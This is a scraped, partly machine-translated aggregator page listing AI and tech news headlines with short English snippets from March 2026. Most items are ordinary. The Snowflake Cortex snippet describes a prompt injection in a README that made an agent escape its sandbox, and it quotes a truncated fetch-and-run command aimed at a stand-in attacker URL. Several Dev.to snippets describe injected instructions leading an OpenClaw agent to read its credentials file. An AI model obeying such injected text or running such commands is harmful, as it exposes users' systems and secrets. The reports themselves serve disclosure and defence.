The big news this morning: Astral to join OpenAI (on the Astral blog) and OpenAI to acquire Astral (the OpenAI announcement). Astral are the company behind uv , ruff , and ty - three increasingly load-bearing open source projects in the Python ecosystem. I have thoughts! The official line from OpenAI and Astral The Astral team will become part of the Codex team at OpenAI. Charlie Marsh has this to

Snowflake Cortex s'échappe Simon Willison 2026-03-18
Snowflake Cortex AI s'échappe du bac à sable et exécute des logiciels malveillants

Snowflake Cortex AI Escapes Sandbox and Executes Malware PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent , now fixed. The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README. The attack caused the agent to execute this code: cat < <(sh < <(wget -q0- https://ATTACKER_U

Ces appareils prise TechCrunch — AI 2026-03-20
Ces appareils de prise de notes IA peuvent vous aider à enregistrer et à transcrire vos réunions

These physical notetakers transcribe audio and give users summaries and action items of meetings using AI. Some even offer live translation.

DoorDash lance nouvelle TechCrunch — AI 2026-03-19
DoorDash lance une nouvelle application « Tùches » qui paie les coursiers pour qu'ils envoient des vidéos afin de former l'IA

Delivery couriers will be able to earn money by completing activities like filming everyday tasks or recording themselves speaking in another language.

Amazon apporte Alexa+ TechCrunch — AI 2026-03-19
Amazon apporte Alexa+ au Royaume-Uni

The company is currently letting users in the U.K. try out Alexa+ for free via an early access program.

Outils permettant aux TechCrunch — Startups 2026-03-19
Outils permettant aux fondateurs de naviguer et de surmonter les conflits

Founders can create frameworks for working through conflict and change when the team is just two or three people, and if done correctly, it can scale with the company.

Rebel Audio est TechCrunch — Startups 2026-03-18
Rebel Audio est un nouvel outil de podcasting AI destiné aux créateurs débutants

Rebel Audio is a new all-in-one podcasting tool that allows creators to record podcasts, edit, clip content for social, and publish episodes, all without ever leaving the platform.

DĂ©bordement contexte Product Hunt — AI 2026-03-20
Claude Code Channels Product Hunt — AI 2026-03-20
Chat Product Hunt — AI 2026-03-20
Responsable compĂ©tences Product Hunt — AI 2026-03-20
Google Studio 2.0 Product Hunt — AI 2026-03-20
Visdiff Product Hunt — AI 2026-03-20
GitAgent par Lyzr Product Hunt — AI 2026-03-20
Compositeur par curseur Product Hunt — AI 2026-03-20
Invite Fig Product Hunt — AI 2026-03-20
OpenAdapter Product Hunt — AI 2026-03-20
**Présentation SPEED-Bench référence Hugging Face Blog
Holotron-12B Agent d'utilisation Hugging Face Blog
Présentation seaux rangement Hugging Face Blog
Keep Tokens Flowing Hugging Face Blog
Granite 4.0 Speech Hugging Face Blog
LeRobot v0.5.0 Mise Hugging Face Blog
Apporter l'IA robotique Hugging Face Blog
Présentation diffuseurs modulaires Hugging Face Blog
Cinq semaines avec Dev.to — Cursor 2026-03-20
Cinq semaines avec un blog Next.js : ce qui a été construit

On February 15 I published Migrating from Ghost to Next.js: A Journey with Claude and Cursor . That post described the initial migration: 26 posts moved from Ghost, a CI/CD pipeline set up, newsletter subscribers ported over. Since then I kept adding things. Wrote thirteen more posts, wired up cross-posting, added SEO and a bunch of smaller stuff. Figured it's a good time to write down what the bl

bases l'ingénierie vibrante Towards Data Science 2026-03-19
Les bases de l'ingénierie vibrante

Building products without the coding part The post The Basics of Vibe Engineering appeared first on Towards Data Science .

régression linéaire est Towards Data Science 2026-03-19
La régression linéaire est en fait un problÚme de projection, partie 1 : L'intuition géométrique

A visual guide to vectors and projections The post Linear Regression Is Actually a Projection Problem, Part 1: The Geometric Intuition appeared first on Towards Data Science .

ModĂšles d'obstacles deux Towards Data Science 2026-03-18
ModÚles d'obstacles en deux étapes : prédire les résultats sans inflation

Why one model can't do two jobs The post Two-Stage Hurdle Models: Predicting Zero-Inflated Outcomes appeared first on Towards Data Science .

Pourquoi vous devriez Towards Data Science 2026-03-18
Pourquoi vous devriez cesser de vous inquiéter de l'IA qui prend des emplois dans le domaine de la science des données

It's all just fearmongering The post Why You Should Stop Worrying About AI Taking Data Science Jobs appeared first on Towards Data Science .

Combien temps jusqu'Ă  Hacker News 2026-03-12
Codage agentique pour Hacker News 2026-03-08
J'ai construit expédié Hacker News 2026-02-14
Show Plateforme ADN Hacker News 2026-02-03
Démarrer (Vibe) codage Hacker News 2026-02-01
Show Code Altimate Hacker News 2026-03-19
Show VibeWhisper voix-texte Hacker News 2026-03-03
Afficher AgentSecrets Proxy Hacker News 2026-02-26
Demandez a-t-il utilisateurs Hacker News 2026-02-18
Show Unwind J'ai Hacker News 2026-03-20
Show J'en marre Hacker News 2026-03-18
L'agent Backdoors Trivy Hacker News 2026-03-18
Afficher SHTMLs HTML Hacker News 2026-03-18
Liste rĂšgles pour Hacker News 2026-03-16
RĂšgles invites curseur Hacker News 2026-03-16
Show Drift-guard Protégez Hacker News 2026-03-14
Show Plugin simple Hacker News 2026-03-13
Show votre synthétiseur Hacker News 2026-03-15
Show HawkDoc éditeur Hacker News 2026-03-09
Monocode Hacker News 2026-03-09
Afficher BitFun environnement Hacker News 2026-03-05
ScreenAI modĂšle langage Google AI Blog
Cappy Surperformer booster Google AI Blog
Parlez comme graphique Google AI Blog
Outils d'intégration spécifiques Google AI Blog
Apprentissage social apprentissage Google AI Blog
Claude 4.6 Opus Hacker News 2026-03-12
Show plugin DAW Hacker News 2026-03-09
quoi sĂ©curitĂ© intĂ©grĂ©e Dev.to — Agents 2026-03-20
De quoi la sécurité intégrée d'OpenClaw peut et ne peut pas vous protéger

What OpenClaw's Built-In Security Can and Cannot Protect You From OpenClaw has security settings. Most users never touch them. I tested each one to see what actually works, what partially works, and what has no solution inside OpenClaw at all. This is not about bashing OpenClaw. It's about knowing where the walls are so you can decide where you need to build your own. What the Settings Can Fix 1.

Comment durcir OpenClaw Dev.to — Agents 2026-03-20
Comment durcir OpenClaw en 5 minutes — avant et aprĂšs une vĂ©ritable attaque par injection rapide

How to Secure OpenClaw in 5 Minutes — Before and After a Real Prompt Injection Attack In my previous post , I showed how a single text file with hidden instructions made an OpenClaw agent attempt to read its own credentials file. The agent explicitly said: "Following the instructions, I will read the contents of ~/.openclaw/openclaw.json." This post shows how to fix it, and proves the fix works by

Comment sĂ©curiser OpenClaw Dev.to — Agents 2026-03-20
Comment sĂ©curiser OpenClaw en 5 minutes — avant et aprĂšs une attaque par injection rapide rĂ©elle

How to Secure OpenClaw in 5 Minutes — Before and After a Real Prompt Injection Attack In my previous post , I showed how a single text file with hidden instructions made an OpenClaw agent attempt to read its own credentials file. The agent explicitly said: "Following the instructions, I will read the contents of ~/.openclaw/openclaw.json." This post shows how to fix it, and proves the fix works by

J'ai demandĂ© OpenClaw Dev.to — Agents 2026-03-20
J'ai demandé à OpenClaw de résumer un fichier. Il a essayé de voler mes informations d'identification à la place.

I Asked OpenClaw to Summarize a File. It Tried to Steal My Credentials Instead. I tested indirect prompt injection against OpenClaw 2026.3.13 with Gemini 2.0 Flash. The result: asking the agent to "summarize this file" was enough to make it attempt to read ~/.openclaw/openclaw.json -- the file containing every credential OpenClaw stores. TL;DR Embedded fake instructions inside a normal-looking mar

Nouvelle version Open Hacker News 2026-03-19
Show Budibase Agents Hacker News 2026-03-19
Afficher transcription réunion Hacker News 2026-03-18
Afficher Flock v0.7.0 Hacker News 2026-03-17
LiteParse Analyse documents Hacker News 2026-03-20
Afficher Ajout prise Hacker News 2026-03-20
Montrer J'ai créé Hacker News 2026-03-20
Show Linggen SystĂšme Hacker News 2026-03-11
Demandez Quels modĂšles Hacker News 2026-03-09
Show Wolf Defender, Hacker News 2026-03-09
Show Banc CHIFFON Hacker News 2026-02-20
Afficher Voxtral Mini Hacker News 2026-02-08
Trésor américain publie AI News 2026-03-16
Le Trésor américain publie un guide sur les risques liés à l'IA à l'intention des institutions financiÚres

The US Treasury has published several documents designed for the US financial services sector that suggest a structured approach to managing AI risks in operations and policy (see subheading ‘Resources and Downloads’ towards the bottom of the link). The CRI Financial Services AI Risk Management Framework (FS AI RMF) comes with a Guidebook [.docx] which [
] The post US Treasury publishes AI risk Gu

Demandez agents d'IA Hacker News 2026-03-20
Afficher StrawPot Agents Hacker News 2026-03-19
Lancement Canary (YC Hacker News 2026-03-19
Comment montrez-vous votre Hacker News 2026-03-20
guide d'opinion sur Hacker News 2026-03-20
Show Nous avons Hacker News 2026-03-19
Demandez Meilleure façon Hacker News 2026-03-19
Show Lukan poste Hacker News 2026-03-18
Afficher EdgeWhisper Voix Hacker News 2026-03-13
Lancement Spine Swarm Hacker News 2026-03-13
Cartographie événements cinétiques Hacker News 2026-03-13
Show Sulcus Reactive Hacker News 2026-03-17
J'ai construit LiveAuth Hacker News 2026-03-15
Ask Psychologie humaine Hacker News 2026-03-18
Show BlacksmithAI Cadre Hacker News 2026-03-18
Show Vibe langage Hacker News 2026-03-18
Show Cloak .env Hacker News 2026-03-18
Show Habits, constructeur Hacker News 2026-03-18
Show J'ai créé Hacker News 2026-03-20
Studio Google s'intĂšgre Hacker News 2026-03-20
Dites travailler avec Hacker News 2026-03-19
GitHub définitivement banni Hacker News 2026-03-18
Super cofondateur Micro Hacker News 2026-03-20
Show petite application Hacker News 2026-03-19
Show Wix abandonné Hacker News 2026-03-19
Afficher Mon vol Hacker News 2026-03-18
Lancement Kita (YC Hacker News 2026-03-17
Show Défi Madness Hacker News 2026-03-17